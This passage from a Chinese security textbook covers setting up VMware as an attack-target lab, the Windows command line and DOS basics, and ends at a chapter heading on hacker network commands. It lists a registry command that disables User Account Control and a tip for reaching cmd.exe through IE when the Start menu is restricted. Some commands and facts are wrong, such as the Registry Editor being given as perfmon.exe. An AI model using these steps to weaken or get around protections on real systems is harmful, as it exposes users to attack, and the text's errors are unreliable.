图1-16　“安装路径”对话框

图1-17　“更改安装路径”对话框

图1-18　“创建程序快捷方式”对话框

图1-19　“准备安装”对话框

步骤6：在“准备安装”对话框中单击“继续”按钮，即可打开“开始安装”对话框，系统开始安装VMware Workstation软件并显示安装进度条，如图1-20所示。当安装程序的工作进度完成后，单击“下一步”按钮，即可打开“注册信息”对话框，在其中输入产品序列号，如图1-21所示。若单击“跳过”按钮，则可以跳过此过程。

图1-20　“开始安装”对话框

图1-21　“注册信息”对话框

步骤7：单击“输入”按钮，在如图1-22所示对话框中单击“完成”按钮，即可结束VMware Workstation的安装操作。

图1-22　“完成安装”对话框

步骤8：重新启动计算机后打开“网络和共享中心”中的网络连接窗口，则看到VMware Workstation添加的两个网络连接，如图1-23所示。在“设备管理器”窗口中展开“网络适配器”节点，可以看到其中添加的两块虚拟网卡，如图1-24所示。

图1-23　VMware Workstation安装的两个连接

图1-24　安装的两个虚拟网卡

1.5.2　配置安装好的VMware虚拟机

在安装虚拟操作系统前，一定要先配置好VMWare，下面介绍一下VMWare的配置过程。

步骤1：双击桌面上的“VMware Workstation”图标，即可进入“VMware Workstation”操作界面，如图1-25所示。

图1-25　“VMware Workstation”操作界面

步骤2：在“VMware Workstation”操作界面中单击“创建新的虚拟机”，即可弹出“新建虚拟机向导”对话框，在其中根据需要创建虚拟机类型，这里选取“典型模式”创建一个新的虚拟机，如图1-26所示。

步骤3：单击“下一步”按钮，即可打开“安装客户机操作系统”对话框，在其中可以选择使用光驱安装、使用系统ISO映像安装和以后安装等选项。这里选择稍后安装操作系统，如图1-27所示。

图1-26　“新建虚拟机向导”对话框

图1-27　“安装客户机操作系统”对话框

步骤4：单击“下一步”按钮，即可打开“选择客户机操作系统”对话框，在其中可选择客户机操作系统类型，如图1-28所示。

步骤5：单击“下一步”按钮，即可打开“命名虚拟机”对话框，在“虚拟机名称”文本框和“位置”文本框中，分别输入该虚拟机的名字（任意的）以及该虚拟机文件将要存放的位置，如图1-29所示。

图1-28　“选择客户机操作系统”对话框

图1-29　“命名虚拟机”对话框

步骤6：单击“下一步”按钮，即可打开“指定磁盘容量”对话框，在“指定磁盘容量”中设置主机磁盘空间的大小，如图1-30所示。

步骤7：单击“下一步”按钮，即可打开“已准备好创建虚拟机”对话框，在其中可查看新创建虚拟机的各个选项设置，如图1-31所示。

图1-30　“指定磁盘容量”对话框

图1-31　“已准备好创建虚拟机”对话框

步骤8：单击“完成”按钮，即可完成虚拟机的创建。进入虚拟机存放的路径，将会看到已生成名为“Windows 7.vmx”的虚拟机文件，如图1-32所示。

图1-32　查看虚拟机存放的路径

将其文件夹复制到其他计算机上，可再次用VMWare导入虚拟机文件，打开建立的虚拟机系统。当成功创建了虚拟机之后，就可以打造攻击目标系统了。

1.5.3　安装虚拟操作系统

安装虚拟操作系统的具体操作步骤如下：

步骤1：双击桌面上的VMWare图标进入“VMWare”主窗口，如图1-33所示。单击“打开虚拟机”，会弹出“打开”对话框，选择刚才安装虚拟机的文件路径，如图1-34所示。然后单击“打开”按钮，即可打开新创建的虚拟机。

图1-33　“VMWare”主窗口

图1-34　“打开”对话框

步骤2：返回VMWare主界面，单击窗口左侧的“我的电脑”→“Windows 7”栏，在导入的虚拟机右侧窗口中，即可看到该主机硬件和软件系统信息，如图1-35所示。

步骤3：若需要对已经创建的虚拟机重新进行设置，则单击“编辑虚拟机设置”，如图1-36所示，即可打开“虚拟机设置”对话框，在其中根据对硬件需求进行相应修改，如图1-37所示。

图1-35　主机硬件和软件系统信息

图1-36　单击“编辑虚拟机设置”

图1-37　“虚拟机”设置对话框

步骤4：在“虚拟机设置”对话框中选择“CD/DVD（SATA）”选项，在右侧“连接”栏目中可选择“使用物理驱动器”（即可在虚拟机中使用当前的光驱）或“使用ISO映像文件”（即将ISO映像文件作为一张光盘，在虚拟机系统中打开），如图1-38所示。此处以“使用ISO映像文件”为例进行讲解。

步骤5：选择完成后单击“确定”按钮返回到VMWare主界面的“Windows 7”栏，单击“开启此虚拟机”，即可启动虚拟机，如图1-39所示。

步骤6：此时会出现Windows 7操作系统语言选择界面，如图1-40所示。按实际安装操作系统的方式进行，即可完成虚拟机系统的安装。

图1-38　“CD/DVD（SATA）”选项

图1-39　单击开启此虚拟机

图1-40　Windows 7操作系统语言选择界面

1.5.4　VMware Tools安装

VMware Tools是VMware提供的一套贴心工具，用于提高虚拟显卡、虚拟硬盘的性能，改善鼠标的性能，以及同步虚拟机与主机时钟的驱动程序。安装VMware Tools不仅能够提升虚拟机的性能，还可以使鼠标指针在虚拟机内外自由移动，再也不需要使用切换键了。

安装VMware Tools的具体操作方法如下：

步骤1：先启动已经安装好操作系统的虚拟机，再单击虚拟机屏幕下方的“安装工具”按钮，即可启动VMware Tools安装向导，并弹出“VMware产品安装”对话框，进度条会显示准备安装进度，如图1-41所示。

步骤2：准备安装完成后会弹出“VMware Tools安装程序”对话框，如图1-42所示。单击“下一步”按钮，弹出“选择安装类型”对话框，在显示的对话框中选择安装方式，如图1-43所示。单击“下一步”按钮，即可打开“已准备好安装VMware Tools”对话框，如图1-44所示。

图1-41　“VMware产品安装”对话框

图1-42　“VMware Tools安装程序”对话框

图1-43　“选择安装类型”对话框

图1-44　“已准备好安装程序”对话框

步骤3：单击“安装”按钮，系统开始安装并显示安装进度，如图1-45所示。安装完成后，则显示如图1-46所示的对话框。单击“完成”按钮，重启系统后即可完成安装操作。

图1-45　开始安装

图1-46　“安装向导完成”对话框

第2章　Windows系统中的命令行

对于系统和网络管理者，繁杂的服务器管理及网络管理是日常工作的主要内容。网络规模越大，其管理工作强度就越大，管理难度也随之变大。传统窗口化的操作方式虽然容易上手，但对于技术熟练的管理人员，这些便利已成为一种“隐性”工作负担。因此，降低工作强度和管理难度就成为系统管理人员的最大问题，而命令行正好可以很好地解决这些问题。

主要内容：

●Windows系统中的命令行

●全面认识DOS系统

●在Windows系统中执行DOS命令

2.1　Windows系统中的命令行

随着互联网的普及，网络用户的逐渐增多，由此带来的安全问题也威胁着计算机安全，而Windows操作系统本身都自带一些病毒和受残损的文件，常常使用户无法正常工作。熟练掌握命令行的使用方法，能保障计算机系统的安全性能，从而提高工作效率。因此，要想保障系统的稳定安全，就需要先掌握Windows系统中命令行的相关知识。

2.1.1　Windows系统中的命令行概述

Windows操作系统，主要是用图形化界面，但是并不抛弃命令行的界面，但这个命令行界面就完全不是DOS操作系统了。同时Windows应用程序也分图形界面（包括无界面，如服务程序）和命令行界面。

命令行就是在Windows操作系统中打开DOS窗口，以字符串形式执行Windows管理程序。现在大部分用户都使用Windows的可视化界面，如果能够熟练掌握Windows系统中的命令行界面，将会更加占有优势。

命令行程序分为内部命令和外部命令，内部命令是随command.com装入内存的，而外部命令是一条一条单独的可执行文件。

·内部命令都集中在根目录下的command.com文件中，计算机每次启动时都会将这个文件读入内存，即在计算机运行时，这些内部命令都驻留在内存中，用dir命令是看不到这些内部命令的。

·外部命令都是以一个个独立的文件存放在磁盘上的，它们都是以com和exe为后缀的文件，并不常驻内存，只有在计算机需要时才会被调入内存。

虽然两种操作都是使用命令来进行的，但由于命令行和纯DOS系统不是使用同一个平台，因此也存在一些区别，具体的表现如下。

1.位置及地位特殊

命令行程序已经不是专门用COMMAND目录存放，而是放在32位系统文件（Windows）安装目录下的SYSTEM32子目录中。由此可知，Windows中的命令行命令已得到非常高的地位，而且通过查看SYSTEM32\DLLCACHE目录可知，Windows还将其列入了受保护的系统文件之列，倘若SYSTEM32目录中的命令行命令受损，用该DLLCACHE目录中的备份即可恢复。

2.一些命令只能通过命令行直接执行

Windows 9X中的系统文件扫描器sfc.exe是一个Windows风格的对话框，而在Windows XP及以后版本的Windows系统中，这条命令却必须在命令行状态下手工输入才能按要求运行，而运行时又是标准的图形界面，图2-1为Windows 7 cmd应用程序窗口。

3.命令行窗口的使用与以前大不相同

在窗口状态下，已经不再像Windows 9X的DOS窗口那样有一条工具栏，因此，不少人发现无法在Windows XP及以后版本的Windows系统命令行窗口中进行复制、粘贴等操作。其实Windows XP及以后版本的Windows系统命令行窗口是支持窗口内容选定、复制、粘贴等操作的，只是有关命令被隐藏了起来。用鼠标对窗口内容直接操作就能够选取，即按下鼠标左键拖动时，其内容会反白显示，如果按“Ctrl+C”组合键，则无法将所选取内容复制到剪贴板，而必须在窗口的标题栏上右击之后，再选择“编辑”选项，于是就可以在弹出的快捷菜单中看到复制、粘贴等选项了。

图2-1　Windows7 cmd应用程序窗口

在Windows 7中的记事本或Word中输入“新北京，新奥运”信息之后，复制输入的内容并右击命令行标题栏，在弹出快捷菜单中选择“编辑”→“粘贴”选项，如图2-2所示，即可将其粘贴到命令行窗口中，图2-3为粘贴后的效果。

图2-2　Windows 7命令行窗口内容复制图

图2-3　粘贴后的效果

还可以前后浏览每一步操作时屏幕所显示的内容：这在全屏幕状态下是不可行的。必须使用“Alt+Enter”组合键切换到窗口状态，这时窗口右侧会出现一个滚动条，拖动滚动条就可前后任意浏览了。但如操作的显示结果太多，则超过内存缓冲的内容会按照FIFO（First in First out，先进先出）的原则自动丢弃，使用CLS命令后可以同时清除屏幕及缓冲区的内容。

4.添加大量快捷功能键和类DOSKEY功能

在Windows XP及以后版本的Windows操作系统的命令行状态下，通过“mem/c”命令看不到内存自动加载DOSKEY.EXE命令的迹象，如图2-4所示。

图2-4　自动加载DOSKEY命令迹象图

具备类似传统的DOSKEY功能如下：

·PageUp、PageDown：重新调用最近的两条命令。

·Intert：切换命令行编辑的插入与改写状态。

·Home、End：快速移动光标到命令行的开头或结尾。

·Delete：删除光标后面的字符。

·Enter：复制窗口内选定的内容（用之取代Ctrl+C命令）。

·F7：显示历史命令列表，可从列表中方便地选取曾经使用过的命令。

·F9：输入命令号码功能，直接输入历史命令的编号即可使用该命令。

其他F1~F6键都分别定义了不同的功能，具体操作时一试便知。

5.对系统已挂接的码表输入法的直接支持

以前要在Windows 9X的DOS命令提示符下显示和输入汉字，必须单独启动中文输入法，如DOS 95或UCDOS等其他汉字系统，在Windows XP及以后版本的Windows系统的CMD命令行下已可以直接显示汉字，并可按与图形界面完全相同的热键，调用系统中已安装的各种码表输入法，如“Ctrl+Shift”组合键用于切换输入法，“Ctrl+Space”组合键用于切换输入法开关，“Shift+Space”组合键用于切换全角与半角状态，“Ctrl+.”组合键用于切换中英文标点等。不过，该命令行下的输入法只能在命令行进行输入，比如打开了一个Edit编辑器，输入法就不起作用了。

6.CMD的命令参数

CMD的命令格式：CMD[a|u][/q][/d][/e：on|/e：off][/f：on|/f：off][/v：on|/v：off][[/s][/c|/k]string]。

·/c：执行字符串指定的命令然后中断。

·/k：执行字符串指定的命令但保留。

·/s：在/c或/k后修改字符串处理。

·/q：关闭回应。

·/d：从注册表中停用执行ARTORUN命令。

·/e：on：启用命令扩展。

·/e：off：停用命令扩展。

·/f：on：启用文件和目录名称完成字符。

·/f：off：停用文件和目录名称完成字符。

·/v：on：将c作为定界符以启动延缓环境变量扩展。

·/v：off：停用延缓的环境扩展。

注意

如果字符串有引号，则可以接受用命令分隔符“&&”隔开的多个命令。由于兼容原因，/X与/e：on相同，且/r与/c相同，忽略任何其他命令选项。

如果指定了/c或/k参数，命令选项后的其他命令行部分将作为命令行处理。

如果符合下列所有条件，则在命令行上的引号字符将被保留：

·不带/s命令选项。

·成对使用引号字符。

·在两个引号字符之间没有特殊字符，特殊字符为下列任意一个：<>、（）、@、^、|。

·在两个引号字符之间有至少一个空白字符。

·在两个引号字符之间有至少一个可执行文件的名称。

否则，看第一个字符是否是一个引号字符，如果是，则舍去开头字符并删除命令行上的最后一个引号字符，保留最后一个引号字符之后的文字。如果/d在命令行上未被指定，当CAM开始时，则会寻找REG_SZ/REG_EXPAND_SZ注册表变量，如果命令中一个或两个都存在，则HKEY_LOCAL_MACHINE\Software\Microsoft\Command Procssor\AutoRun变量和HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions变量将会先被执行到0X1或0X0。用户特定设置有优先权，命令行命令选项的优先权比注册表设置的优先权高。

7.命令行扩展包括对命令的更改和添加

使用命令行扩展的命令主要有：DEL或ERASE、COLOR、CD或CHDIR、MD、MKDIR、PROMPT、PUSHD、POPD、SET SETLOCAL、ENDLOCAL、IF、FOR、CALL、SHIFT、GOTO、START、ASSOC、FTYPE等。

延迟变量环境扩展不按默认值启用，可以用/v：on或/v：off参数为某个启用或停用CMD调用的延迟环境变量扩充，也可在计算机上或用户登录会话上，启用或停用CMD所有的调用，这需要通过设置Regedit32.exe注册表中的一个或两个REG_DWORD值（HKEY_LOCAL_MACHINE\Software\Command processor\DelayedExpansion和HKEY_CURRENT_USER\Software\Microsoft\Command processor\DelayedExpansion）到0X0或0X1来实现。用户特定设置的优先权比计算机设置的优先权高，命令行命令选项的优先权比注册表设置的优先权高。

2.1.2　Windows系统中的命令行操作

下面简单介绍一下Windows操作系统中命令行的各种操作，例如复制、粘贴、设置属性等操作。当启动Windows中的命令行后，将会弹出“命令提示符”窗口。Windows命令行跟DOS界面不一样，它会先显示当前操作系统的版本号，并把当前用户默认为当前提示符。而其下所使用的操作跟DOS命令中所作的操作一样，但在使用Windows命令时，可以自定义设置命令行的背景、显示的文字、窗口弹出的大小、窗口弹出的位置等。

右击命令行标题栏，将会弹出一个快捷菜单，在其中选择相应的菜单项，即可完成相应操作，如图2-5所示。

图2-5　命令行各种操作的快捷菜单

2.1.3　启动Windows系统中的命令行

对于不同的Windows操作系统版本，有不同的命令进入命令行界面，下面介绍两种不同启动Windows系统中命令行的方法：

1）在Windows 2000/NT/XP/2003/操作系统的“运行”对话框下，在“打开”文本框中运行“cmd”命令，则可进入命令行窗口，如图2-6所示。

图2-6　XP命令提示符窗口

2）在Windows vista/7操作系统的“搜索”文本框中运行cmd命令，即可进入命令行窗口，如图2-7所示。

图2-7　Windows 7命令提示符窗口

2.2　在Windows系统中执行DOS命令

由于Windows系统彻底脱离了DOS操作系统，所以无法直接进入DOS环境，只能通过第3方软件来进行，如一键GHOST硬盘版等。但Windows系统提供了一个“命令提示符”附件，可以提供基于字符的应用程序运行环境。通过使用类似MS-DOS命令解释程序中的各个字符，命令提示符执行程序并在屏幕上显示输出。Windows命令提示符使用命令解释程序cmd，将用户输入转化为操作系统可理解的形式。

2.2.1　用菜单的形式进入DOS窗口

Windows的图形化界面缩短了人与机器之间的距离，通过鼠标单击拖曳即可实现想要的功能。

Windows是基于OS/2、NT构件的独立操作系统，除可以使用命令进入DOS环境外，还可以使用菜单方式打开“DOS命令提示符”窗口。在Windows 7系统中选择“开始”→“所有程序”→“附件”→“命令提示符”菜单项，即可打开“命令提示符”窗口，如图2-8所示。

图2-8　利用菜单打开DOS窗口

2.2.2　通过IE浏览器访问DOS窗口

用户可以直接在IE浏览器中调用可执行文件。对于不同阶段的操作系统，其通过IE浏览器访问DOS窗口的方法有所不同：

·在Windows 2000操作系统中访问DOS窗口，只需在IE浏览器地址栏中输入“c：\winnt\system\cmd.exe”命令。

·在Windows XP/7操作系统中访问DOS窗口，只需在IE浏览器地址栏中输入“c：\Windows\system32\cmd.exe”命令，如图2-9所示，即可打开DOS运行窗口，如图2-10所示。

图2-9　在IE中访问Windows7 DOS窗口

图2-10　DOS运行窗口

注意

这里一定要输入全路径，否则Windows就无法打开命令提示符窗口。对于一些加密而又无法访问开始菜单的DOS窗口，可以通过不受限制的IE浏览器来轻松地进入。

2.2.3　复制、粘贴命令行

当在Windows 7中启动命令行时，就会弹出相应的命令行窗口，在其中显示当前的操作系统的版本号，并把当前用户默认为当前提示符。在使用命令行时可以对命令行进行复制、粘贴等操作，这是DOS平台不具备的功能。

复制、粘贴命令行的具体操作步骤如下。

步骤1：打开命令提示符窗口，输入一条查询系统网络信息的命令，这里以“ipconfig”为例，输入完成后按“回车”键，如图2-11所示。

步骤2：查看命令执行后的输出结果。如果要复制输出结果中的一部分信息，右击命令提示符窗口标题栏，选择“编辑”→“标记”菜单项，如图2-12所示。

步骤3：按住鼠标左键不动，拖动鼠标标记想要复制的内容。标记完成以后按键盘上的“回车”键，这样就把内容复制下来了，如图2-13所示。

步骤4：在需要粘贴该命令行的位置右击，在弹出的快捷菜单中选择“粘贴”选项，如图2-14所示。

步骤5：粘贴成功，查看已粘贴的命令，如图2-15所示。

图2-11　输入一条查询系统网络信息的命令

图2-12　选择“编辑”→“标记”菜单项

图2-13　标记想要复制的内容

图2-14　选择“粘贴”选项

图2-15　查看已粘贴的命令

2.2.4　设置窗口风格

在快捷菜单（右击命令提示符窗口标题栏打开）中选择“默认值”或“属性”选项，即可对命令行进行自定义设置，设置窗口颜色、字体、布局等属性。

1.颜色

在“属性”面板中的“颜色”选项卡中，可以对命令行屏幕文字、屏幕背景、弹出窗口背景颜色等进行设置。

具体的操作步骤如下。

步骤1：打开命令提示符，右击命令提示符窗口标题栏，选择“属性”菜单项，如图2-16所示。

图2-16　选择“属性”菜单项

步骤2：打开“命令提示符属性”对话框，切换到“颜色”选项卡之后，即可选择各个选项并对其进行颜色设置，如图2-17所示。

步骤3：选择“屏幕文字”单选按钮，单击选定颜色栏中的蓝色并设置颜色值为255，如图2-18所示。

图2-17　“命令提示符属性”对话框

图2-18　选择“屏幕文字”单选按钮

步骤4：选择“屏幕背景”单选按钮，单击选定颜色栏中的绿色并设置颜色值为255，如图2-19所示。

图2-19　选择“屏幕背景”单选按钮

步骤5：选择“弹出文字”单选按钮，单击选定颜色栏中的蓝色并设置颜色值为180，如图2-20所示。

步骤6：选择“弹出窗口背景”单选按钮，单击选定颜色栏中的蓝色并设置颜色值为125。设置完毕之后，单击“确定”按钮，如图2-21所示。

步骤7：查看设置后的窗口，窗口颜色焕然一新，如图2-22所示。

2.字体

在“命令提示符属性”对话框的“字体”选项卡中，可以设置字体的样式（这里只提供了点阵字体和新宋体两种字体样式），可以选择一种自己喜欢的字体风格，如图2-23所示。在这里也可以选择窗口的大小，一般的窗口大小为8*16。

图2-20　选择“弹出文字”单选按钮

图2-21　选择“弹出窗口背景”单选按钮

图2-22　查看设置后的窗口

3.布局

在“命令提示符属性”对话框的“布局”选项卡中对窗口整体布局进行设置。具体可以设置窗口的大小、窗口在屏幕中所处的位置，以及屏幕缓冲区大小，如图2-24所示。在设置窗口位置时，如果勾选“由系统定位窗口”复选框，则在启动DOS时，窗口在屏幕中所处的位置由系统来决定。

4.选项

在“命令提示符属性”对话框的“选项”选项卡中，可以设置光标大小、是窗口显示还是全屏显示等，如图2-25所示。如果在编辑选项栏中勾选“快速编辑模式”复选框，则在窗口中可以随时对命令行进行编辑。

图2-23　字体设置

图2-24　布局设置

图2-25　选项设置

2.2.5　Windows系统命令行

Windows操作系统中的命令行很多，下面简单介绍最常用的一些功能与其所对应的命令。

·远程协助：通过Internet接收朋友的帮助（或向其提供帮助）。

命令：X：\Windows\System32\msra.exe

·计算机管理：查看和配置系统设置和组件。

命令：X：\Windows\System32\compmgmt.msc

·系统还原：将计算机系统还原到先前状态。

命令：X：\Windows\System32\rstrui.exe

·系统属性：查看有关计算机的系统设置的基本信息。

命令：X：\Windows\System32\control.exe system

·系统信息：查看有关硬件设置和软件设置的高级信息。

命令：X：\Windows\System32\msinfo32.exe

·程序：启动、添加或删除程序和Windows组件。

命令：X：\Windows\System32\appwiz.cpl

·禁用UAC：禁用用户账户控制（需要重新启动）。

命令：X：\Windows\System32\cmd.exe/k%windir%\system32\reg.exe ADD HKLM\SOFTWARE\Microsoft\windows\CurrentVersion\Policies\System/vEnableLUA/t REG_DWORD/d 0/f

·注册表编辑器：更改Windows注册表。

命令：X：\Windows\System32\perfmon.exe

·性能监视器：监视本地或远程计算机的可靠性和性能。

命令：X：\Windows\System32\perfmon.exe

·安全中心：查看和配置计算机的安全基础。

命令：X：\Windows\System32\wscui.cpl

·命令提示符：打开命令提示符窗口。

命令：X：\Windows\System32\cmd.exe

·启用UAC：启用用户账户控制（需要重新启动）。

命令：X：\Windows\System32\cmd.exe/k%windir%\system32\reg.exe ADDHKLM\SOFTW-ARE\Microsoft\windows\CurrentVersion policies\System/v EnableLUA/t REG_DORD/d 1/f

·关于Windows：显示Windows版本信息。

命令：X：\Windows\System32\winver.exe

·任务管理器：显示有关计算机运行的程序和进程的详细信息。

命令：X：\windows\System32\taskmgr.exe

·事件查看器：查看监视消息和疑难解答信息。

命令：X：\Windows\System32\eventvwr.exe

·Internet选项：查看Internet explorer设置。

命令：X：\Windows\System32\inetcpl.cpl

·Internet协议配置：查看和配置网络地址设置。

命令：X：\Windows\System32\cmd.exe/k%windir%\system32\ipconfig.exe

2.3　全面认识DOS系统

在使用DOS时，还会经常听到MS-DOS与PC-DOS，对初学者来说，这两者可以认为没有区别。事实上，MS-DOS由Microsoft（微软公司）出品，而PC-DOS则由IBM对MS-DOS略加改动而推出的。由于微软公司在计算机业界的垄断性地位，MS-DOS成为主流操作系统。DOS主要由MSDOS.SYS、IO.SYS和COMMAND.COM等三个基本文件和一些外部命令组成。

2.3.1　DOS系统的功能

DOS实际上是一组控制计算机工作的程序，专门用来管理计算机中的各种软、硬件资源，负责监视和控制计算机的全部工作过程。不仅向用户提供了一整套使用计算机系统的命令和方法，还向用户提供了一套组织和应用磁盘上信息的方法。

DOS的功能主要体现在如下5个方面。

1.执行命令和程序（处理器管理）

DOS能够执行DOS命令和运行可执行的程序。在DOS环境下（即在DOS提示符下），当用户键入合法命令和文件名后，DOS就根据文件的存储地址到内存或外存上查找用户所需的程序，并根据用户的要求使CPU运行之，若未找到所需文件，则出现出错信息，告诉用户服务。在这里，DOS正是扮演了使用者、计算机、应用程序三者之间的“中间人”。

2.内存管理

分配内存空间，保护内存，使任何一个程序所占的内存空间不遭破坏，同硬件相配合，可以设置一个最佳的操作环境。

3.设备管理

为用户提供使用各种输入/输出设备（如：键盘、磁盘、打印机和显示器等）的操作方法。通过DOS可以方便地实现内存和外存之间的数据传送和存取。

4.文件管理

为用户提供一种简便的存取和管理信息方法。通过DOS管理文件目录，为文件分配磁盘存储空间，建立、复制、删除、读/写和检索各类文件等。

5.作业管理

作业是指用户提交给计算机系统的一个独立的计算任务，包括源程序、数据和相关命令。作业管理是对用户提交的诸多作业进行管理，包括作业的组织、控制和调度等。

2.3.2　文件与目录

文件是存储于外存储器中具有名字的一组相关信息集合，在DOS下所有的程序和数据均以文件形式存入磁盘。自己编制的存入磁盘的程序是文件，DOS提供的各种外部命令程序也是文件，执行DOS外部命令就是调用此命令文件的过程。

如果想查看计算机中的文件与目录（即Windows系统下的文件夹），只需在“命令提示符”窗口中运行dir命令，如图2-26所示。后面带有<DIR>的是目录（文件夹），没有的是文件。还可以在文件和目录名前面看到文件和目录的创建时间，以及本盘符的使用空间和剩余空间。

图2-26　运行dir命令查看计算机文件与目录

MS-DOS规定文件名由4个部分组成：[<盘符>][<路径>]<文件名>[<..扩展名>]。文件由文件名和文件内容组成。文件名由用户命名或系统指定，用于唯一标识一个文件。

DOS文件名由1~8个字符组成，构成文件名的字符分为如下3类：

·26个英文字母：a~z或A~Z。

·10个阿拉伯数字：0~9。

·一些专用字符：$、＃、&、@、！、%、（）、{}、-、－。

注意

在文件名中不能使用“<”“>”“\”“//”“[、]”“：”“！”“+”“=”，以及小于20H的ASCII字符。另外，可根据需要自行命名文件，但不可与DOS命令文件同名。

2.3.3　文件类型与属性

文件类型是根据文件用途和内容分的，分别用不同的扩展名表示。文件扩展名由1~3个ASCII字符组成，文件扩展名有些是系统在一定条件下自动形成的，也有一些是用户自己定义的，它和文件名之间用“.”分隔。

表2-1　常见文件类型以及文件类型扩展名

文件属性是DOS系统下的所有磁盘文件，根据其特点和性质分为系统、隐含、只读和存档等4种不同的属性。

这4种属性的作用如下。

1.系统属性（S）

用于表示文件是系统文件还是非系统文件，具有系统属性的文件，是属于某些专用系统的文件（如DOS的系统文件io.sys和msdos.sys）。其特点是文件本身被隐藏起来，不能用DOS系统命令列出目录清单（DIR不加选择项/a时），也不能被删除、复制和更名。如果可执行文件被设置为具有系统属性，则不能执行。

2.隐含属性（H）

用于阻止文件在列表时显示出来，具有隐含属性的文件，其特点是文件本身被隐藏起来，不能用DOS系统命令列出目录清单（Dir不加选择项/a时），也不能被删除、复制和更名。可执行文件被设置为具有隐含属性后，并不影响其正常执行。使用这种属性可以对文件进行保密。

3.只读属性（R）

用于保护文件不被修改和删除。具有只读属性的文件，其特点是能读入内存，也能被复制，但不能用DOS系统命令修改，也不能被删除。可执行文件被设置为具有只读属性后，并不影响其正常执行。对于一些重要的文件，可设置为具有只读属性，以防止文件被误删或意外地被删除。

4.存档属性（A）

用于表示文件被写入时是否关闭。如果文件具有这种属性，则表明文件写入时被关闭。各种文件生成时，DOS系统均自动将其设置为存档属性。改动了的文件也会被自动设置为存档属性。只有具有存档属性的文件，才可以列目录清单、删除、修改、更名、复制等操作。

表2-2　DOS系统中的保留设备文件名和设置

为便于管理和使用计算机系统的资源，DOS把计算机的一些常用外部设备也当作文件来处理，这些特殊的文件称为设备文件。设备文件的文件名是DOS为设备命名的专用文件名（又称设备保留名），因此，用户在给磁盘文件起名时，应避免使用与DOS保留设备文件名相同的名字。

当然，在给文件名命名时，一定要注意如下几个方面：

1）设备名不能用作文件名。

2）当使用一个设备时，用户必须保证这个设备实际存在。

3）设备文件名可以出现在DOS命令中，用以代替文件名。

4）使用的设备文件名后面可加上“：”，其效果与不加冒号的文件名一样，例如A：、B：、C：、CON：等。

2.3.4　目录与磁盘

在DOS系统中，当前目录就是提示符所显示的目录，如提示符是C：\，当前目录即C盘的根目录，这个\（反斜扛）就表示根目录。如果要更改当前目录，则可以用cd命令，如输入cd Windows，则目录为Windows目录，提示符变成了C：\Windows，就表示当前目录变成了C盘的Windows目录，如图2-27所示。

在输入dir命令之后，就可以显示Windows目录中的文件了，这就说明dir命令列出的是当前目录中的内容，如图2-28所示。此外，在输入可执行文件名时，DOS会在当前目录中寻找该文件，如果没有该文件，则会提示错误信息。

图2-27　更改当前目录

图2-28　显示Windows目录的文件

在DOS系统中目录采用树形结构，下面是一个目录结构的示意图，这个C：表示最上面的一层目录，如DOS、Windows、Tools等，而DOS、Windows目录也有子目录，像DOS下的TEMP目录，Windows目录也有子目录，像Windows下的SYSTEM目录，如图2-29所示。

因此，可以用CD命令来改变当前目录，输入CD Windows，当前目录就变成了Windows，改变当前目录为一个子目录叫作进入该子目录，如果想进入system子目录，只要输入“cd system”命令就可以了，也可以输入cd c：\Windows\system。如果要退出system子目录，则只要键入CD..就可以了。

在DOS中，这两点就表示当前目录的上一层目录，一个点就表示当前目录，这时上一级目录为父目录，再输入CD..，就返回到了C盘的根目录。有时，为了不必多次输入CD..，可以直接输入“CD\”命令，“\”就表示根目录。在子目录中用dir命令列文件列表时，就可以发现“，.”和“..”都算作文件数目，但大小为零。

图2-29　Windows下的SYSTEM目录

如果要更换当前目录到硬盘的其他分区，则可以输入盘符，比如：要到D盘，那么就需要输入“D”命令，现在提示符就变成了D：\>，如图2-30所示，再输入dir命令，就可以看到D盘的文件的列表，如图2-31所示。

图2-30　更改到D盘目录

图2-31　D盘中的文件列表

2.3.5　命令分类与命令格式

DOS的命令格式为：[<盘符>][<路径>]<命令名>[/<开关>][<参数>]。

·盘符：就是DOS命令所在的盘符，在DOS中一般省略DOS所在的盘符。

·路径：就是DOS命令所在的具体位置（也就是相对应的目录下），在DOS中一般省略DOS所在的路径。

·命令名：每一条命令都有一个名字。命令名决定所要执行的功能，也是MS-DOS命令中不可缺少的部分。

·参数：在MS-DOS命令中通常需要指定操作的具体对象，即需要在命令名中使用一个或多个参数。例如，显示文件内容的命令TYPE就要求有一个文件名。如：TYPE readme.txt中TYPE是命令名，readme.txt是参数。

有些命令则需要多个参数。例如：在用于更改文件名的RENAME（REN）命令中，就必须包括原来的文件名和新文件名，所以需要两个参数。如：C：\>REN old_zk.dos new_zk.dos，这条命令中有两个参数，即old_zk.dos和new_zk.dos。执行该命令后，即可将原来的文件名old_zk.dos改变成新文件名new_zk.dos。

还有一些命令（如DIR）可以使用参数，也可以不使用参数。而像CLS（清除屏幕）这样的命令则不需要使用任何参数。

·开关：通常是一个字母或数字，用来进一步指定一条命令实施操作的方式。开关之前要使用一个斜杠“/”。例如，在DIR命令中可使用“/P”开头的命令来分屏显示文件列表。

内部命令与外部命令在调用格式上没有区别，不同之处在于：前者的<命令名>是系统规定的保留字，而后者的<命令名>是省略了扩展名的命令文件名。一些常用的指令都归属为内部命令，较少用的指令则大都属于外部命令。DOS之所以要把指令分成外部与内部指令，主要是为了节省内存。若将一些不常用的指令也都常驻在内存中，则会降低内存的使用效率。

内部命令隐藏在DOS的io.sys和msdos.sys两个文件中，当以DOS方式启动计算机时，这两个文件就加载并常驻内存中，使得内部指令随时可用。如：DIR、CD、MD、COPY、REN、TYPE等，都属于内部命令。

外部命令则以档案的方式存放在磁盘上，调用时才从磁盘上将该文件加载至内存中。换而言之，外部命令不是随时可用，而是要看该文件是否存在于磁盘中。如：FORMAT、UNFORMAT、SYS、DELETREE、UNDETREE、MOVE、XCOPY、DISKCOPY等，都属于外部命令。

当使用者输入一个DOS命令之后，该指令先交由command.com分析，所以command.com被称之为命令处理器，其功能就是判断使用者所输入的指令是内部命令还是外部命令。倘若是内部指令，随即交给io.sys或msdos.sys处理；若是外部指令，则到磁盘上找寻该档案，即执行该指令。如果找不到，屏幕上将会出现“Bad Command or filename”这样的错误信息。

第3章　黑客常用的Windows网络命令行

利用网络命令可以判断网络故障以及网络运行情况，网络管理员必须掌握这种技能。Windows下的网络管理命令功能十分强大，对于黑客来说，命令行中的网络管理工具是其必须掌握的利器。

主要内容：

●必备的几个内部命令

●其他的网络命令

●黑客常用命令

3.1　必备的几个内部命令

